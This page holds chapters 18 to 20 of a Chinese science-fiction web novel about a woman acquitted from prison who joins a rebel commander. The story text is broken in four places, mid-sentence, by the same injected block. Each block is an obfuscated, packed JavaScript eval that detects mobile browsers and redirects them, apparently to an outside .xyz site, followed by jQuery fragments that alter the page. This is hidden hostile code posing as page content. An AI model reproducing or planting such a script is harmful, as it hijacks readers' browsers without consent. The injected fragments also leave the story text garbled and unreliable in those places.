“不出意外的话,判决书不是死刑执行,而是脱罪。”叶眠说,“我替咱俩物色了一条大船。不对,两条。”
胖子傻愣愣地说:“啥船?”
“革命党的船,和反抗军的星舰,怎样,喜欢吗?”叶眠坏心地问。
胖子的独眼越瞪越大:“什么意思?我怎么记得,这两家是打对头的?不对,什么叫替咱俩物色的?”
叶眠三言两语讲了讲自己的计划,最后补充:“等见到指挥使,记得帮我圆话。”
胖子的表情从震撼,到沉思,最后是视死如归。
“叶眠,你把我从7001捞出来,我心甘情愿跟你干,但当真吗?你要去反抗军当间谍?”
“准确来说,是‘回’,”叶眠伸出一只手指点了点床单,“我本来就是反抗军的人。”
“反抗军竟在我身边,”胖子喃喃说,“怪不得你之前那么奇怪……所以伊斯坦真投了你们?”
这属于叶眠的未知领域了。
她叹气说:“钢筋把我脑子插坏了,我不记得了。”
“没事,很快就知道了,”胖子抬头望向房顶,表情空白,“我要见到反抗军指挥使了,妈妈。”
“也不一定,”叶眠说,“我听到两个说法,一个是他会派人来接我们,另一个是他会亲自来。”
“你是什么身份啊他亲自来接你?”胖子迷惑。
“……他的舔狗?”叶眠也不太确定。。
胖子转头,仔仔细细地扫过她的全身上下,然后又生无可恋地转了回去,继续盯天花板:“你当舔狗?我不信。一个小小的反抗军指挥,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224748|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
能去舔他?”
叶眠来了兴致:“那我该舔谁?帝国皇帝?”
胖子一阵恶寒:“别诋毁我偶像,还有,你就不是当舔狗的料,别做这种假设了,瘆得慌。”
他想象不出现在的叶眠对哪个人求而不得,哪怕是帝国那位高高在上的皇帝,只要一想到叶眠跟在他身后满脸仰慕的表情,他就由衷地感觉幻灭。
“比起叶绵绵,我说真的,”胖子坚定地说,“叶眠真是太赞了。”
叶眠大悦:“很有眼光,朋友,非常好。”
她溜达回自己的病房,想了想,拿出终端给同事哥发消息。
遇到困难睡大觉:“同事兄弟,好消息,我脑壳大好了。”
对面过了一阵子才回复:“恭喜[黑眼圈]。”
遇到困难睡大觉:“咋了这是?”
沈舒白通宵看了一晚上的反抗军档案,满眼红血丝,一无所获。
面对着这个性情大变的叶绵绵,沈舒白有点警惕。但一想到禁制环的控制权还在法蒙手里,他又觉得叶眠反手把法蒙卖给陆风的可能性也不大。
白干全白干:“法蒙让我查点东西。”
叶眠若有所思。她想起了对于“法蒙不愿就任典狱长”这件事的猜测。
遇到困难睡大觉:“法蒙有什么家族背景吗?”
白干全白干:“没有吧,完全没听说过。”
竟然没有吗?
叶眠猜错了也没气馁,只是暗暗吃惊,法蒙得经营到什么程度才能坐上C监典狱长这个位置?
她决定再试探一下。
遇到困难睡大觉:“你跟他很熟吗?”
沈舒白再次警觉。
白干全白干:“一般熟吧,怎么了?”
遇到困难睡大觉:“那会不会,他其实有身份,但你不知道[捂嘴]?”
沈舒白起手就想反驳。
医大和军大就是隔壁,从大学到现在,法蒙从他的学长到普通军人,再一路晋升做到中将,这些年都是他看着走过来的。要是法蒙有家族背景,还用走得这么辛苦、边境一呆就是近十年吗?
但谨慎起见,他还是换了个角度思考。
如果他隐藏了家族背景……
遇到困难睡大觉:“三十岁的中将,这个晋升速度,啧啧,同事兄弟,我说真的。”
她话说一半,但态度很明确。
沈舒白想替法蒙说两句,比如他的军功都是亲自搏出来的,自己跟着巡医队在边境呆过一年,法蒙受的伤、吃的苦都被人看在眼里。
但是……中将这个位置,抛开法蒙的个人努力,真的没有外力介入吗?
法蒙从来没提过自己的背景,但联盟好像根本没有“法”这个姓氏?
遇到困难睡大觉:“你不说话了,你犹豫了。承认吧,同事兄弟,你也不确定[大笑]。”
沈舒白咬牙,飞快打字:“如果有家族背景,他为什么还会加入革命党?坐天享福不就好了?”
叶眠眯眼,嘴角勾起:这位同事兄弟,好像比她想得更沉不住气。
遇到困难睡大觉:“咋了,生在天家就不能追求民主吗?君主立宪也是君主制。”
沈舒白沉默了。
他开始认真考虑法蒙“生在天家”的可能性。
遇到困难睡大觉:“他让你查过什么家族的事吗?”
沈舒白秒回:“那可多了,议会里的大家族多少都查过,但反抗军里草根占大头,跟政治博弈离得很远,所以信息有限。”
遇到困难睡大觉:“那你可以关注一下,他有没有对某个家族态度比较特殊。事先说好,我不是拱火离间,只是提供思路[笑脸]。”
沈舒白拍案:怎会有如此厚颜无耻之徒!
18. 第 18 章
黑兔子的判决下来了,死刑执行,被暂时收押9区。
烟花去见了他一次,这位C监土皇帝上台快下台也快,就像泥鳅遇到龙,原形毕露。
“你后悔吗?”她问。
“有什么可后悔的。”
黑兔子形容狼狈,平日里抹着发胶一丝不苟的头发乱成鸡窝,那张方正的脸上只剩阴郁狠毒之色。
“我只恨自己没有背景,生在平民阶级,往上爬的路太窄了,我过不去。”
烟花摇头:“往上爬的路不止这一条,是你自己走窄了。”
黑兔子大笑,笑到一阵咳嗽:“烟花,你还是这么天真。”
他缓下表情,再次开口:“如果我做不到阶级飞跃,那我的孩子、我孩子的孩子只会更难做到。你看联盟里的那些世袭家族,那些少爷小姐,他们生来就是享福的,但幺儿只能住在这监狱外的村子里……”
“幺儿已经死了,魏途。”
狱警之间只称代号,烟花很久没叫过这个名字,发音甚至有些生涩。
“她死在你去生死台下注的那晚上。我值班,你说你带她。”
“魏途,你说你带她。她那么小,你把她自己留在休息室。”烟花语气平静,“在7001捧你做局的那些人里,有几个是当年灌过她酒的,你还认得出来吗?”
黑兔子仿佛被掐了脖子一样,话音被堵在喉口。
“你舒坦了吗?”
烟花走出9区的时候,抬头一看,太阳高高地悬着,身上却还有些冷意挥之不去。
幺儿的事她已经很久没去想,现在旧事重提,只觉得往事如风。
——轻如落羽、又重可透骨。
她想,这座监狱,我是走不出来了。
幺儿投了我家,是我对不起她。
终端响起,她倦怠地看了眼消息。
是医院里的护士发来的,说256号收到了二判,请她一起来见证一下。
是那个掀翻7001的女囚。
死立执,还有什么好见证的?
烟花一边心中暗嘲,一边关了终端,双腿却不自觉地动起来,走向了检查站。
她想,置死地而后生的总是少数,但人总会抱着那一丝希望不放,就好像见着点光就能活一样。
-
叶眠拿着二次判决书不肯打开,直到烟花推门进来。
众目睽睽之下,叶眠缓缓撕开了牛皮纸袋子的封口。
胖子咽了下口水,护士双手交握,烟花手指不自觉在弹匣上敲着。
叶眠抬头,表情古怪地问:“你们为什么比我还紧张?”
“闭嘴,快拆!”胖子气急败坏地说。
叶眠瘪了瘪嘴,老实地把里面的文件夹抽了出来。
“一般判决都在最后一页。”烟花及时地说。
叶眠却非要一页一页地往后翻。
护士看不下去了,一把夺了过来,语速飞快:“前面那么多字你这个速度又不是在读墨迹什么?”
纸张“哗啦啦”地飞过,像自由的蝴蝶翅膀。
叶眠没有看判决书,而是老神在在地看着三个人逐渐五彩斑斓的表情。
“无罪……?”烟花呢喃地说。
胖子憋红了脸,一拳打到叶眠肩膀:“你!”
护士也松了一口气,把判决书放回叶眠手里:“呐,得了,你自己看吧,慢慢看,看一百遍,现在没人急你了。”
叶眠“嘿嘿”一笑:“如何,我就说没事吧?”
烟花深深地看她一眼:“你什么时候说过你会没事了?”
叶眠想了想:“欸?没说吗?不过没说也好,说了不就没有惊喜了?”
烟花坐到她床尾:“有什么好惊喜的,你无罪出狱,跟我也没什么关系,还特意把我叫来。”
“烟花,嘴硬心软,”叶眠摇头,“等我出去给你寄东西。当时说了,要给你报酬的。”
胖子也大声说:“烟花姐!伟大!无需多言!没你我也就死7001了,从今天开始你就是我亲姐,真的,我也给你寄东西。”
护士举手:“我呢?叶眠?”
“包的姐,包的,”叶眠拍胸脯打保证,“你也有份。”
护士拐着该换药的胖子走了。
烟花从叶眠膝上抽走了判决书,手指划过纸页。
“黑兔子死刑执行是明天?”叶眠问。
“嗯,明天上午,”烟花垂着眼说,“如果今天这里的字不是无罪,你跟他前后脚的事。”
叶眠一乐:“我跟他又不一样。他伤你心,我可不舍得。”
烟花抬头看她一眼,有点无语:“你哪学的?”
“逗你开心呢,”叶眠说,“你脸色太坏了。”
“想起一些旧事。”烟花没想多说。
“跟黑兔子有关?”叶眠却追问。
“……他是我前夫,”烟花简短地总结,“我们有个小孩,酒精过敏,死了,后来就离了。”
“那你现在解脱了,”叶眠的语气有些理所当然,“握不住的沙就扬了它,风吹哪页读哪页。”
“你倒是懂得多。”
“也不是,”叶眠反驳,“我是亲身经历。”
“经历什么?”烟花不以为然。
叶眠指了指自己脑子:“我杀人入狱,又二次犯罪,死刑当头,还失忆了。”
“那你也挺惨的。”
“人要往前看,烟花姐,”叶眠煞有介事地说,“人背负着过去是为了往前走的,C监需要你,不能让你一直这么消沉。”
烟花想说我哪消沉了,对上叶眠安静却清透的眼神,最后什么也没说。
“记得给我寄东西,”她把判决书拍回叶眠的腿上,“出去之后好好保重,这几天我就不来了。”
法蒙还没回来,黑兔子一死,这是立威服人、重整秩序的最好时机。
“包的。”叶眠比了个大拇指。
*
“同事哥~”
沈舒白已经到了看到这个称呼就发怵的程度。
白干全白干:“姐,我说姐,你问的问题能不能不要那么刁钻?”
遇到困难睡大觉:“什么刁钻?怎么刁钻了?”
白干全白干:“比如陆风用哪只手那个……我怎么会知道啊?!”
沈舒白真有点崩溃了。这才几天,失忆卧底版叶绵绵他已经感觉应付不来了。
遇到困难睡大觉:“多多益善嘛,不过我这次不是来问那个的[笑脸]。”
沈舒白脑子一转:“二次判决书到了?”
遇到困难睡大觉:“[对]。陆风什么时候来接我?他要派人来,还是亲自到?”
沈舒白已经跟指挥使传达了叶眠成功脱罪的消息,后者情绪外露不多,只表示了一下惊讶,看不出有几分重逢的喜悦。
白干全白干:“好像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224749|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明天下午。”
遇到困难睡大觉:“他开什么车?”
白干全白干:“应该就是普通悬浮车。”
遇到困难睡大觉:“我这两个人没问题吧?别坐不下。”
白干全白干:“还有谁?”
遇到困难睡大觉:“一个法格里布[笑脸]。”
沈舒白:?
遇到困难睡大觉:“咋,老大没说吗?”
白干全白干:“……哪个老大?”
做他们这行的可得谨慎。
遇到困难睡大觉:“当然是法蒙啊。”
法蒙的嘴比三代禁制环还严。
沈舒白暗自腹诽,一边打字:“坐得下,但为什么买一赠一?”
遇到困难睡大觉:“那我见到陆风怎么解释我能脱罪?说我色诱法蒙吗?”
遇到困难睡大觉:“法蒙吃色诱这一套吗?[疑问]”
叶眠挠挠下巴,感觉这还真是个接近他的办法。
沈舒白很震撼:叶绵绵怎么能,她怎么能……
真是情海上岸了?
白干全白干:“抱歉,我不知道。”
遇到困难睡大觉:“同事兄弟,看来,你的工作,还有大大的提升空间。不过我原谅你[笑脸]。”
沈舒白看着这个黄豆笑脸就感觉浑身刺挠。
他把话题绕了回去,仔细地了解了一下叶眠为什么要带法格里布一起,然后对这个安排表示了肯定,转头当补充材料转达给了陆风。
白干全白干:“对了,这个法格里布要送到海蓝星吗?”
叶眠来了精神:“怎么说?”
沈舒白估摸着,就算现在不说,等叶绵绵见到陆风也肯定能查到这些事,所以他一股脑全说了。
白干全白干:“海蓝那块反抗军不归陆风管,根据我们的消息,伊斯坦跟他们是合作关系,人应该都平安,但最近在就营养液生产线的利润问题拉扯不下。”
叶眠拿着终端,晃悠到隔壁胖子的病房,大方地说:“来,你家的消息。”
胖子盯着沈舒白的消息看了一分钟才开口:“我妈呢?伊莉·格林?”
叶眠转述:“伊莉·格林呢?”
那头消失了一会儿,叶眠就陪着胖子揪床单,把床单揪到皱皱巴巴。
终于,消息传来。
白干全白干:“法格里布的当家主母是吧?好着呢。说是在母舰上吃太好,胖了不少。”
叶眠看向胖子。
后者眼里反光,嘴唇稍微发抖,好不容易才憋出一句:“谢谢。”
叶眠想也没想,转发给沈舒白:“谢谢。”
胖子一愣。
叶眠发完才意识到,他好像是跟自己说的。
“没事,也谢谢白干兄弟。”
温情气氛被击碎,胖子心事一扔,脸色阳光明媚。
叶眠挠挠头:“你接着收拾东西吧,我走了。你的无罪证明寄到6区了,我们明天下午走,上午黑兔子死刑,你要去看吗?”
“没意思,不如睡懒觉,”胖子拒绝了这个提议,“我上午去跟室友老头告个别。”
叶眠:“好。”
她溜达回自己病房,浑然不知终端那头的沈舒白死死盯着那句“谢谢”,凝固了三分钟。
太阳打西边出来了叶绵绵跟他说谢谢?
当习惯牛马的沈舒白振奋表示,以后一定多关注伊莉的消息。
19. 第 19 章
黑兔子死得无声无息。
狱警内部暗潮汹涌,谁都想趁机会拿点好处,但这些就与即将离开监狱的叶眠没有关系了。
穿过整座监狱,他们跟着狱警来到了整座监狱对外的唯一的出口。
狱警检查二人证件的时候,叶眠就眯着眼睛往外看。
荒野里,一台毫不起眼的悬浮车,无声无息地停在大门几百米外,没有丝毫要靠近的意思。
胖子也看到了,有些不安:“我们要见到指挥使了吗?”
叶眠倒是很乐观,嘴上跑火车:“拿出你的斗志啊,就当是陪诡秘见前男友。”
胖子一只死鱼眼看过来,冷笑一声扭头,根本懒得理她。
他脖子上的禁制环被狱警解下,连着密钥一起收到保险柜里。叶眠羡慕地看着,心里盘算着到底什么时候才能把法蒙解决掉。
——她也想在火灾梦之外使用异能。
“监狱内的账单,二位怎么付?”狱警查看了终端发来的医院费用清单,抬头问。
叶眠一愣。
法蒙给她送来的终端里,账户余额一直是0。他们甚至完全没讨论过工资这件事。
没办法,她只好戳戳胖子,低声说:“江湖救急,晚点还你。”
胖子的终端刚到手,立刻拿出了作为粮食大家的慷慨:“来。”
“可以走了,”狱警确认到账,微笑说,“希望你们改过自新,重新做人。”
胖子连连点头。
叶眠踏出监狱的大门,最后回头望了一眼这座巨大的钢铁牢笼。不管怎么说,这都是她征程的开端,是一切起始的地方。
——她“美好的”新手村。
“叶眠,我们就这么走过去吗?”胖子还是有点踌躇不前,“你最好有点什么靠谱的计划。”
“当然有。”叶眠没有行李,她两手插兜,不知什么是对手,身上只有一套病号服,被风刮到鼓起,像是航进的帆。
“计划第一步,是拿下反抗军。”
胖子沉默了一下,已经不再想吐槽了,而是真有点好奇她能扯到哪去:“这是第一步,那最后一步是什么?”
“嗯……统一星系?”叶眠说得半真半假。
“得了吧你。”胖子只当她是为了缓解心情。
-
几百米的距离很快就拉近了。
因为风大,叶眠想理一理头发,结果手一动才想起来,自己还是个缠着绷带的卤蛋。
那没办法了,只能请陆风看光头了。
叶眠清了清嗓子,敲了敲紧闭的车窗:“嗨。”
过了三秒,车窗摇下一半。
叶眠首先注意到的,是陆风的眼睛——很深邃的桃花眼,瞳孔的棕色在光下更像浅褐,十分温暖且富有感染力的颜色。
他鼻梁上的镜架稍微下滑,这是个抬眼的姿势,显得整个人很是灵动。
“好久不见。”他勾起嘴角。
这一笑,双眼更是放电般的含情脉脉。
叶眠也笑了,笑得比陆风真实两百倍。
谁看到帅哥不想笑?看帅哥延年益寿,看帅哥有益身心健康,看帅哥……
“上车吧。”陆风关上车窗。
胖子:“……就这样?”
叶眠兴致被打断,哼了一声:“先上车。”
胖子默默爬上后座,叶眠拉开副驾驶车门,动作一顿。
男人手肘搭在车门上、单手托脸,墨镜后眼神如丝如缕地缠绕而来,结果落了个空。
因为叶眠的注意力完全没在他脸上。
衬衣图案花哨,扣子敞了五六颗,衣领斜斜地开着,下摆扎进裤腰。胸肌喷薄欲出,中缝阴影晃眼,看得人心痒难耐。
奶窗是好文明,但这也太慷慨了吧?
嗨呀,非礼勿视,非礼勿视。
叶眠满脑子世风日下、有伤男德,自觉好心帮忙,上身前倾。
久别重逢,陆风哪里想得到,叶眠已经化身男德卫兵。
他看“叶绵绵”脸色苍白,羞涩地垂着眼睛,只当她是要主动投怀送抱,心中发软。
——这是他的绵绵。
监狱里日子不好过,人瘦了点,但还挺有精神。
陆风长臂一揽,叶眠猝不及防被抱了个结结实实。
但她控制住了下意识的反击,没挣扎,甚至顺势把手放到他背上,轻轻拍了两下。
陆风一手拢在叶眠腰侧,脸埋进她肩窝,如愿以偿地嗅到了那种令他习惯且心安的味道。
——叶绵绵身上的味道。
他声音带了点哑:“绵绵,我们回家。”
这个拥抱用了些力气,但还没到强制的程度,男人温热的呼吸喷在颈侧,带着点痒。
叶眠能感受到他话里蕴藏的感情,眼神稍动。
气氛暧昧,她秉承着“来都来了”的思想,顺手捏了两把陆风背肌。衬衣下的身体愈发紧绷,手感弹实,确实是练得不错。
陆风的手也在无声上滑,从腰,到背,寸寸验过熟悉的线条。
手心的热度透过布料传递到皮肤,两人的距离越来越近,几乎贴到一起。
病号服衣领偏大,陆风的嘴唇从颈侧滑到肩头,带着点若有若无的勾引,叶眠立刻——用了点力气把他推开。
距离拉远,她清楚地看到陆风眼里那一点清醒的诧异。
他也没有半分意乱晴迷,叶眠心下了然。
装什么抱抱玩偶,俩人加起来一千六百个心眼子。
热风从背后半敞的车门刮进车内,她伸手,摘下了他的墨镜。
这个行为让陆风的眉头逐渐锁紧,他好像有些不自在地眨了两下眼睛,定定地看着她。
真漂亮,叶眠在心中赞美,然后,她把陆风的墨镜戴到了自己鼻尖,歪了歪脑袋。
“回家?所以现在,我不是你的弃子了?”
这个问题横贯在他们之间,决定着之后叶眠面对陆风的态度。
与法蒙见面留下的第一印象不同,叶眠对陆风的观感明显更好一些。
不管叶绵绵跟他之间有些什么情怨纠葛,现在的叶眠只当两人是从新开始。
看在这双漂亮眼睛和美好肉|体的份上,她愿意给他一个澄清和解释的机会。
但陆风的表情明显冷淡下去。
他没有第一时间取回墨镜,而是仔细地看着“叶绵绵”的眼睛,试图从中找到一丝闪躲和犹豫。
——没有。
她就是在问,为什么不救我?为什么放弃我?
“你确定要在这时候,问这个问题吗?”
他稍微垂眼,拉起叶眠的一只手,握在自己手心稍微摩挲,带着点暗示。
察觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224750|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到她的无动于衷,他抬头,最后确认了一遍:“在这个时候?”
他理解,叶绵绵会有些埋怨和别扭。但他以为他们会迅速和好,毕竟之前哪怕是最严重的那一次,她也只是晚回复他的消息半小时。
认识这么多年,她从没真生过气,再过分的要求、再委屈,哄一哄就好了。
她很好哄,又总是那么懂事。
然而现实中,叶眠反问:“为什么不?”
从死刑的子弹下幸运逃生,她该原谅一切吗?
陆风能抛弃叶绵绵,就能再背叛叶眠,她要看清他的态度,以免步入叶绵绵后辙。
“绵绵,”陆风终于开口,不复最初的温和,“你知道,我有我的使命,组织也有组织的纪律。”
从叶眠脸上拿回墨镜,陆风好像终于回到他的舒适区,语气稍显严肃:“从我父亲开始,你为反抗军做事,到现在,为我做事。因为暗杀收尾不成功暴露身份,所以进监狱、被组织放弃,你的意思是,我应该为你违纪?”
胖子听到这话,忍不住在心中为他默哀:陆风,out!
谁不知道叶眠吃软不吃硬?
……虽然有时候软也不吃,但来硬的,只能说自求多福吧。
“我们关系特殊,不要恃宠而骄。”陆风警告地说。
他没有意识到任何不对,仍以为对面的这个人是他所熟知的那个“叶绵绵”。
哦?
叶眠表面露出一个明快的笑容:“这样啊。”
陆风理解不了这份突变的情绪,只当她是想通了。
他脸色缓和,捡起叶眠的手拉到唇边,轻轻贴了一下,以资奖励:“听话。别让我失望。”
后排胖子早已自戳双眼:我什么都看不见。
下一刻,叶眠反手捏住陆风手指,嘴角依然带笑。
目光没有游移,她只是简单牵起他的手,做了一个相同的动作。
不像陆风敷衍似地贴一下就算了,叶眠认真地亲了一亲他的手指,甚至发出一声轻响。
然后她眼睛弯弯,大发慈悲地从他脸上移开了视线,低头,用拇指搓了搓他的指节。
暧昧且黏稠,带着点若有若无的侵略性。
“开车吧。”
好像什么都没发生过一样,叶眠坐回了自己的位置。她拉上车门,姿态放松,视线投向窗外。
胖子恨自己刚刚没捂上耳朵。
干什么!这是在干什么!
陆风有一会儿完全没反应过来。
在他的认知里,这是不可能出现的事情。与叶绵绵的关系中,无论是感情还是其他,主导者永远是他,叶绵绵只能服从。
但刚刚这段如同交锋的互动,让他后知后觉地感受到一点异常。
陆风的手指微蜷,指节上残留的触感依然灼人。他盯着叶眠的侧脸,重新注意到她头顶、下巴上的绷带,也看到她脖子上黑色的禁制环。
“怎么弄的?”他问。
“监狱里弄的,你不知道?”叶眠甚至没给他正眼。
她跟叶绵绵性格差了十万八千里,与其伪装成另一个人折磨自己,不如敞亮地试试陆风接受程度。
谁能想到她不是真的叶绵绵?就看陆风对叶绵绵的这份心有多厚了。
陆风若有所觉地眯起眼睛。
这是发脾气了?
20. 第 20 章
“你做的事有哪件不危险?但这么多年都这么过来了,”陆风语气甚至还带了两分怀念,“蒋仕临终于死了,我心里也算放下了块大石头。”
悬浮车稳稳加速,他没有开自动驾驶,而是手动调出了本地地图,朝着一个方向驶去。
我做的事?叶绵绵不是文职吗?
蒋仕临又有点什么身份?
“那,下个任务是什么?”叶眠问。
“父亲的名单上还剩不少人,我们要走的路还很长。你刚出狱,好好休息一下吧,”陆风语气发软,令人牙酸,“陪我几天。”
叶眠舔了舔上牙膛,陪他?
“这个法格里布怎么处理?”她完全是公事公办的语气。
陆风评估的眼神扫过后视镜,面对着有些局促的胖子,他微微一笑,十成十的平易近人:“抱歉,我跟我的手下不能在法格里布主家面前露面,也暂时没有心力给你安排身份,可能要暂时邀请你到基地一住了。”
“没问题,”胖子即答,甚至有点殷勤,“长官这样安排再好不过,我正想见见母亲。”
“嗯?”陆风鼻子里发出一声疑问,“你好像理解错了,我说的基地不是母舰基地,只是暂时落脚的地方。你想去蓝星的话,要等三个月后。”
“啊,这样。”胖子讷讷应声,后知后觉汗毛炸起。
——那不就是……联盟眼皮子底下的反抗军窝子?
“三个月后有什么事?”叶眠问。
她也知道自己跟叶绵绵的习惯作风割裂太大,又懒洋洋地补充了一句:“有什么我能做的吗?”
“三个月后指挥使换届,绵绵,”陆风的视线若有若无地投过来,带着点探究,“我跟你说过的。”
“噢,我把头撞坏了。”叶眠越来越感觉这个借口不错,很扯,但又有理有据。
“你确实变了一些。”陆风这样说着,态度闲适,但也没什么其他的表示。
毕竟,他们相处的时光不能作假。
叶绵绵是他看着长大的,从十四岁到现在。所以他确信叶绵绵会保持忠诚,一如既往,她的感情是最好的锁,不管是入狱前,还是入狱后。
叶眠无声地笑了笑,视线稳稳地落在车外。
从见面到现在,她的一举一动都不是无的放矢。陆风明显对她还有点亏欠之心,所以底线还能再抻一抻,不像法蒙,上来就是“不好好干禁制环就带一辈子吧”,那才是真的没什么拉扯空间。
叶眠稍微走神了一下。
叶绵绵,看到了吗?
你为他做的事,没有得到一分该有的回报。打工陪睡十多年的情分,不够让他捞你一把。
“C监的线人是个边缘小狱警,做不了什么事,”陆风哄她,“你在监狱里受的欺负,等以后给你报。”
叶眠诧异地扭头看他,语气中带了点疑惑:“怎么,反抗军终于准备武力推翻联盟统治了?”
陆风不动声色地哽了一下:“过去这三年我只负责情报,等三个月后换届,如果能争到武装部指挥使位置的话,三年内发起对联盟的正面战争也不是不可能……”
他像是想起了什么:“还需要你的助力。”
“不是刚说完让我休息一下?”叶眠笑了一声,“要我做什么?”
陆风的眼神再次扫过后座的胖子:“说服海蓝的法格里布,把营养液生产线建在青砂星。”
“不……”
“拉米亚纳。”叶眠警告出声,态度少见的严肃。
陆风好笑地摇了摇头。
第一次听到叶眠这么正式地叫他的名字,胖子愣了一下,随后也意识到什么,狠狠抿住了嘴。
故作放肆的叶眠脖子上还带着禁制环,如果她还能空手跟陆风谈上几分情理,那么一直压低存在感的胖子就是完全没有话语权。
在反抗军指挥使的车里,万一他真惹急了陆风,叶眠不一定保得下他。
但,青砂星,是几乎位于帝国联盟交界带的中等星。
如果法格里布的营养液要在联盟内争夺市场份额,理应选择更靠近核心区的星球——无论是营销辐射力还是人才储备都更具优势。
虚假和平不一定能持续多久、战火随时可能重燃。一条投入巨大人力物力的生产线,建在这么偏远的地方,要考虑的包括运输成本增加、安防仓储投入拉高,地缘政治影响深远,更不用说其他中间环节的弯弯绕绕。
法格里布会主动自缚手脚吗?这是反抗军在狮子大开口。
“什么时候出发?”叶眠冷声问。
陆风态度玩味,让她有些担心胖子的家人会不会受反抗军挟制。
“这么着急?”陆风反倒不急不慢,甚至有点伤心的意思,“好不容易重获自由,这么急着奔赴下一个岗位?”
叶眠干脆地说:“那让你选。陪你过家家,还是做事。”
陆风这下是真笑了:“伶牙俐齿。”
悬浮车已经进城,陆风的回答暧昧不清,叶眠却已经把所有的注意力都放到了外面。
联盟比她想得……破败一万倍。
夕阳下的城市显出一种雾霭缭绕的模糊感,灯光半亮不亮,所有的建筑都是浸在灰橙色调中,仿佛盖着一层抹不掉的尘土。
“欢迎回来,”陆风降下悬浮车的高度,落到马路上,“首都星下层区8区。”
下层区?那倒不奇怪了。
造型普通甚至有些灰扑扑的悬浮车,混在高峰期车流中毫不起眼。叶眠把贴了反光膜的车窗降下一条缝,闻到了淡淡机油混着烟熏火燎的味道。
有些熟悉。
心底一动,叶眠古怪地想:难道我真是叶绵绵?我也在这种地方生活过?
悬浮车拐过三个街角,天色更暗了。
路灯一闪一闪地亮起来,有些小店也亮起了霓虹门头,偶尔有几人聚堆,劣质香烟拢在身周,路过的人低头绕过,行色匆匆。
“赶上晚高峰了,”陆风把副驾驶的车窗关严,打开车内空气循环,“离毒虫远点。”
后排的胖子从小在正经上层区长大,也没怎么见过这种阵势,他眼睛瞪大,表情有些迷惑,也有些纠结。
“拉米,是吧,”陆风点他一句,“没怎么来过下层区?”
胖子咽了咽口水:“没怎么来过。”
“到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224751|181697||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
基地之后最好别出门,”他淡淡地说,“你救了绵绵,我承你的情,但别惹事。”
悬浮车拐进了商场停车场,陆风拿出两副机械口罩。
三人沉默无言地进了这座规模不小、岁数也不小的超级商场。
里面人流不算大,地面甚至稍微有点黏脚,叶眠瞥了一眼在室内还戴墨镜的陆风,微微皱眉——那些售货员,关注来人的眼神有点太尖了。
下到负一层,美食街长达几百米,叶眠逐渐不再关注奇怪的店员们,她面如土色地走过灰绿色的大炖锅、发臭的炸货铺、干拌红糖的黏糊面线……这是人吃的东西?
怎么好像跟监狱里的泔水,似乎也差不很多?
美食街尽头拐弯是酒吧街,陆风目不斜视地带着两人走进了最破最小的那个门口。
酒吧里放着当下流行天王的热门歌曲,灯光昏黄、空气憋闷,没有顾客,极度冷清。
擦杯子的调酒师头也不抬:“喝点什么?”
“开水冲泡的婴儿奶粉。”
“哪档?”
“帝国走私。”
调酒师略微一抬头,看了陆风一眼,又好像什么也没发生地低下头去:“八号桌。”
绕过吧台,后面赫然是带着门帘遮挡的小桌。叶眠回忆着暗号,觉得反抗军这些人真有意思。
掀起帘子走进卡座,桌子上的酒单无风自动地翻到了最后一页。
异能?
陆风坦然坐到桌边,叶眠下意识抓住一把椅子,胖子表情惊异,刚想开口,地板一震。
“什么东西啊啊啊啊啊——”
伴随着胖子的尖叫,整块地板垂直下落,如同有轨电梯。
桌椅牢牢固定在地板上,陆风饶有兴趣地看着他的反应,殊不知旁边叶眠也是大吃一惊,艰难维持住脸上的八风不动。
电梯一路到底,刹停后发出轻微的“咔擦”声。本来是卡座垂帘的方向,一间金属双开门赫然镶嵌在黑色的水泥墙体中。
陆风拉起那把门锁,手指轻轻一弹,锁环应声而开。
他的异能到底是什么?叶眠有点摸不透。
两扇门向内打开,门后是铺着暗红色地毯的宽敞走廊,陆风一脚踩进,稍微欠身,比了个请进的手势。
“法格里布先生,左手第一间,请。”
